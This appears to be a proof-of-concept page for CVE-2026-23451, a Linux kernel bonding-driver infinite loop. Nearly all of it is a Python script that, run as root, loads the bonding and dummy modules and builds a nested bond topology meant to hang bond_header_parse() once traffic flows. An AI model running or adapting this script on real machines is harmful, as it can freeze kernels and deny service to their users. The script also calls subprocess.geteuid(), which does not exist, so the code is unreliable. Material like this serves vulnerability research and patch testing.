CVE-2026-23451 Linux内核bonding驱动无限循环漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-23451 This script demonstrates the network configuration required to trigger the infinite loop in Linux Kernel's bonding driver. Vulnerability: Nested bonding devices cause bond_header_parse() to loop infinitely. """ import subprocess import sys def run_cmd(cmd): try: subprocess.run(cmd, check=True, shell=True) print(f"[+] Success: {cmd}") except subprocess.CalledProcessError as e: print(f"[-] Failed: {cmd}") sys.exit(1) def setup_vulnerable_env(): # 1. Load required modules run_cmd("modprobe bonding") run_cmd("modprobe dummy") # 2. Create underlying dummy devices run_cmd("ip link add dummy0 type dummy") run_cmd("ip link set dummy0 up") # 3. Create the first bond (Bond0) run_cmd("ip link add bond0 type bond mode 0") run_cmd("ip link set dummy0 master bond0") run_cmd("ip link set bond0 up") # 4. Create the second bond (Bond1) and enslave Bond0 (Nested Configuration) # This nesting creates the condition where skb->dev points to the top (Bond1) recursively. run_cmd("ip link add bond1 type bond mode 0") run_cmd("ip link set bond0 master bond1") run_cmd("ip link set bond1 up") print("\n[!] Vulnerable environment configured.") print("[!] Nested topology: Bond1 -> Bond0 -> dummy0") print("[!] Sending traffic through Bond1 may trigger the infinite loop in bond_header_parse().") if __name__ == "__main__": if subprocess.geteuid() != 0: print("[-] This script must be run as root.") sys.exit(1) setup_vulnerable_env()